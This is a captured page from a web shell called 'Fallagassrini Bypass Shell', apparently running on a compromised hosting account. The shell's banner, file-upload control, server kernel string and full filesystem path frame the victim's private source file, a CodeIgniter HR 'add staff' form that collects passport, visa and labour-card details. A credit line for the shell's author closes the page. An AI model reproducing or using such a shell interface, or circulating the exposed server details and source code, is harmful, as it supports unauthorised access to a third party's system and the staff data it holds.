? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/HR/addstaff.php~

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<script type="text/javascript">

jQuery(document).ready(function () {

	$('.one').datepick({dateFormat: 'dd-mm-yyyy'});
        
        $('.two').datepick({dateFormat: 'dd-mm-yyyy'});
        $('.three').datepick({dateFormat: 'dd-mm-yyyy'});
        $('.four').datepick({dateFormat: 'dd-mm-yyyy'});
		
                 checkacc_setting();
});



      


        function checkacc_setting()
    {

       $.ajax({

               type: "POST",
              url: "<?= site_url('accounting/checkaccountsetting/') ?>",
               success: function(msg){


                if(msg==0)
               {

               $("#viewmsg").fadeIn(900,0);
               $("#viewmsg").html("<div style=\"border:2px solid red;padding-top:4px;text-align:center; width:500px;height:20px;margin-left:30%\" ><font color=\"red\" >Sub Account Settings not Set</font></div>");


               $('button[type=submit]#button1').attr('disabled', 'disabled');


               }
                                     }

               });
    }


</script>




<div class="select-bar">
<label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="loadstaff()" alt="Back" align = "center" width="25" height="25"/></label>

		  </div>
<div id="viewmsg"></div>
           <?php 
   $attributes = array('id' => 'customForm');
   echo form_open_multipart('hr/addstaff',$attributes);?>
<fieldset>
   <legend>Staff Details</legend>

    <?php
    $stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$norecords,'id');
    if(isset($stf->employeeid))
    {
    $num=substr($stf->employeeid, -3);
    $num++;
    }
    else $num=100;
    
    $options = array(
                  'Male'  => 'Male',
                  'Female'    => 'Female',
                 );
    $options1 = array(
                  'Employee'  => 'Employee',
                  'Agent'    => 'Agent',
                 );
    ?>


                <fieldset class ="leftone">
                    <legend>Personal Details</legend>


    <input type="hidden" name="employeeid" value="<?php echo "EMP".$num; ?>">
    <ul>

        <li>
            <?php
         $data = array(
              'name'        => 'name',
              'id'          => 'name',
              );

        ?>
        <label for="date">Employee Name</label>
              <?php echo form_input($data).form_error($data); ?><span id="nameInfo" class="red_bold">*</span>
        </li>
      
       <li>
        <label for="type">Gender</label>
             <?php echo form_dropdown('gender', $options, 'male'); ?>
        </li>

        <li>
            <label>Date of Birth</label>
            <input class="one" name="dob" id="dob" readonly="true" type="text" value="<?=date('d-m-Y')?>"  style="background-image: url(../../../../assets/images/datefocus.gif);">
        </li>
        
        <li>
        <label for="date">Marital Status</label>
             <?php echo form_input('maritalstatus'); ?>
        </li>
        <li>

        <label for="date">Nationality</label>
             <?php echo form_input('nationality'); ?>
        </li>
        <li>
        <label for="date">ID No.</label>
             <?php echo form_input('idno'); ?>
        </li>
        <li>
            <label for="date">Passport  No.</label>
             <?php echo form_input('passportno'); ?>
        </li>
        <li>
            <label for="date">Type of Visa</label>
             <?php echo form_input('typeofvisa'); ?>
        </li>

<li>
            <label>Expiry of of Visa</label>		

   <input class="two" name="expiryofvisa" id="expiryofvisa" readonly="true"  value="<?=date('d-m-Y')?>" type="text" style="background-image: url(../../../../assets/images/datefocus.gif);">
                                </li>
    </ul>
                </fieldset>



    <fieldset class="rightone">
                    <legend>Employee Details</legend>

    <ul>
<li>
        <label for="type">Type</label>
             <?php echo form_dropdown('type', $options1, 'Employee'); ?>
        </li>
        
        <?php

        echo "<li>
        <label>Designation</label><select name='designation' id='designation'>";
               echo "<option value=''>--Select--</option>";
      $desg=$this->mastermodel->getdatas('designation');
        foreach($desg as $desgn)
                {
                    echo "<option value='". $desgn['id'] . "'>" . $desgn['designation'] . "</option>";
                }
        echo "</select> <span id='designationInfo' class='red_bold'>*</span></li>";


         ?>
        
       <?php
         
        echo "<li>
        <label>Department</label><select name='department' id='department'>";
         echo "<option value=''>--Select--</option>";
      $dept=$this->mastermodel->getdatas('department');
        foreach($dept as $dep)
                {
                    echo "<option value='". $dep['id'] . "'>" . $dep['departmentname'] . "</option>";
                }
        echo "</select><span id='departmentInfo' class='red_bold'>*</span></li>";


         ?>
        <?php

        echo "<li>
        <label>Grade</label><select name='grade' id='grade'>";

      $grad=$this->mastermodel->getdatas('grade');
        foreach($grad as $gra)
                {
                    echo "<option value='". $gra['id'] . "'>" . $gra['gradename'] . "</option>";
                }
        echo "</select></li>";


         ?>
        <?php

        echo "<li>
        <label>Status</label><select name='status' id='status'>";

      $stat=$this->mastermodel->getdatas('status');
        foreach($stat as $sta)
                {
                    echo "<option value='". $sta['id'] . "'>" . $sta['statusname'] . "</option>";
                }
        echo "</select></li>";


         ?>

        <li>
            <label>Joining Date</label>		

 <input class="three" name="joiningdate" id="joiningdate" readonly="true"  value="<?=date('d-m-Y')?>" type="text" style="background-image: url(../../../../assets/images/datefocus.gif);">
                               </li>
        <li>
        <label for="date">Reporting to</label>
            <input type="text" id="staffname" size="20">
					<input type="hidden" name="reportingtostaffid" id="reportingtostaffid">
	<img id="inliexample1" src="<?=base_url()?>/assets/images/button-search.png" title="Search" class="clickimage"  onclick="showstaffdiv()" >
        </li>  <li id="stfinfodet"></li>
        <?php

        echo "<li>

<label>Branch</label><select name='branch' id='branch'>";

      $stati=$this->mastermodel->getdatas('ourbranch');
        foreach($stati as $sta)
                {
                    echo "<option value='". $sta['id'] . "'>" . $sta['branchname'] . "</option>";
                }
        echo "</select></li>";


         ?>
        <li>
        <label for="date">Labour Card No.</label>
             <?php echo form_input('labno'); ?>
        </li>

        <li>
            <label>Labour Card Expiry</label>		

 <input class="four" name="labexp" id="labexp" readonly="true" type="text"  value="<?=date('d-m-Y')?>" style="background-image: url(../../../../assets/images/datefocus.gif);">
                               </li>

    </ul>
                </fieldset>


    <fieldset class="lefttwo">
                    <legend>Permanent Address</legend>


    <ul>

        <li>
        <label for="date">Email Address</label>
        <?php
         $data1 = array(
              'name'        => 'emailid',
              'id'          => 'emailid',
              );

        ?>
             <?php echo form_input($data1); ?>
        </li>
       <li>
        <label for="type">Phone No</label>
            <?php echo form_input('phone'); ?>
        </li>
<li>
        <label for="date">Mobile</label>
             <?php echo form_input('mobile'); ?>
        </li>
        <li>
            <?php
        $data2 = array(
              'name'        => 'address',
              'id'          => 'address',
                'rows'   =>       '5',
                'cols'  =>      '5',
             'style'       => 'width:50%',

            );
        ?>
        <label for="date">Address</label>
             <?php echo form_textarea($data2); ?><span id="addressInfo" class="red_bold">*</span>
        </li>
        <li>
        <label for="date">Po Box</label>
             <?php echo form_input('pobox'); ?>
        </li>
        <li>
        <label for="date">Country</label>
             <?php echo form_input('country'); ?>
        </li>
        <li>
        <label for="date">City</label>
             <?php echo form_input('city'); ?>
        </li>

    </ul>
                </fieldset>
    <fieldset class="righttwo">
                    <legend>Local Address</legend>

    <ul>

       <li>
        <label for="type">Phone No</label>
            <?php echo form_input('lphone'); ?>
        </li>
<li>
        <label for="date">Mobile</label>
             <?php echo form_input('lmobile'); ?>
        </li>
        <li>
            
        <label for="date">Address</label>
        <?php
        $data3 = array(
              'name'        => 'laddress',
              'id'          => 'laddress',
                'rows'   =>       '5',
                'cols'  =>      '5',
             'style'       => 'width:50%',

            );
        ?>

             <?php echo form_textarea($data3).form_error($data3); ?><span id="laddressInfo" class="red_bold"></span>

        </li>
        <li>
        <label for="date">Po Box</label>
             <?php echo form_input('lpobox'); ?>
        </li>
        <li>
        <label for="date">Country</label>
             <?php echo form_input('lcountry'); ?>
        </li>
        <li>
        <label for="date">City</label>
             <?php echo form_input('lcity'); ?>
        </li>
        <li></li>
  <li></li>  <li></li>
    </ul>
                </fieldset>
   <fieldset>
                    <legend>Educational Qualification</legend>
   <li>  <input name="addRows" value="Add More" onclick="addRowToTableEdu();" title="Add more rows." type="button">
           <input name="deleteRows" value="Remove" onclick="removeRowFromTableEdu();" title="Delete the last row." type="button">
        </li>

        <li>
       <table class="sort" id="addrow" border="0" cellpadding="0" cellspacing="0" width="80%">
                    <tbody><tr class="red_bold" align="left" valign="top">
                      <th width="25%">Course</th>
                      <th width="18%">University</th>
                      <th width="18%">Year of Passing</th>

                    </tr>
                    <tr class="bold_black" align="left" valign="top">
                      <td><input name="txt_conCourse_1" id="txt_conCourse_1" style="width: 200px;" type="text">
                      <input  name="hid_conCntEdu" id="hid_conCntEdu" value="3" type="hidden"></td>
                      <td><input name="txt_conUty_1" id="txt_conUty_1" style="width: 150px;" type="text"></td>
                      <td><input name="txt_conYop_1" id="txt_conYop_1" style="width: 100px;" type="text"></td>

                    </tr>
                 </tbody></table>
        </li>
        </fieldset>
    <li></li>
<fieldset>
                    <legend>Additional Certification</legend>
   <li>  <input name="addRowsCer" value="Add More" onclick="addRowToTableCer();" title="Add more rows." type="button">
           <input name="deleteRowsCer" value="Remove" onclick="removeRowFromTableCer();" title="Delete the last row" type="button">
        </li>


        <li><table  class="sort" id="addrowCer" border="0" cellpadding="0" cellspacing="0" width="80%">
                    <tbody><tr class="red_bold" align="left" valign="top">
                      <th width="25%">Course</th>
                      <th width="18%">Institute</th>
                      <th width="18%">Year of Passing</th>

                    </tr>
                    <tr class="bold_black" align="left" valign="top">
                      <td><input name="txt_conCourseCer_1" id="txt_conCourseCer_1" style="width: 200px;" type="text">
                      <input  name="hid_conCntCer" id="hid_conCntCer" value="3" type="hidden"></td>
                      <td><input name="txt_conUInstCer_1" id="txt_conInstCer_1" style="width: 150px;" type="text"></td>
                      <td><input name="txt_conYopCer_1" id="txt_conYopCer_1" style="width: 100px;" type="text"></td>

                    </tr>
                 </tbody></table></li>
        </fieldset>
     <li></li>
    <fieldset>
                    <legend>Professional Experience</legend>
   <li>  <input name="addRowsExp" value="Add More" onclick="addRowToTableExp();" title="Add more rows." type="button">
           <input name="deleteRowsExp" value="Remove" onclick="removeRowFromTableExp();" title="Delete the last row" type="button">
        </li>


        <li><table class="sort" id="addrowExp" border="0" cellpadding="0" cellspacing="0" width="80%">
                    <tbody><tr class="red_bold" align="left" valign="top">
                      <th width="25%">Employer</th>
                      <th width="18%">Designation</th>
                      <th width="18%">Period of Work</th>

                    </tr>
                    <tr class="bold_black" align="left" valign="top">
                      <td><input name="txt_conEmp_1" id="txt_conEmp_1" style="width: 200px;" type="text">
                      <input  name="hid_conCntExp" id="hid_conCntExp" value="3" type="hidden"></td>
                      <td><input name="txt_conDesg_1" id="txt_conDesg_1" style="width: 150px;" type="text"></td>
                      <td><input name="txt_conPow_1" id="txt_conPow_1" style="width: 100px;" type="text"></td>

                    </tr>
                 </tbody></table></li>
        </fieldset>

       <li></li>
      
       

                    <ul>
    <li><label for="submit">&nbsp;</label>
           <button type="submit" class="clickimage" id="button1" onclick="return doallthetwo();">Save</button>
    </li></ul>
  
           
</fieldset>
  <?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net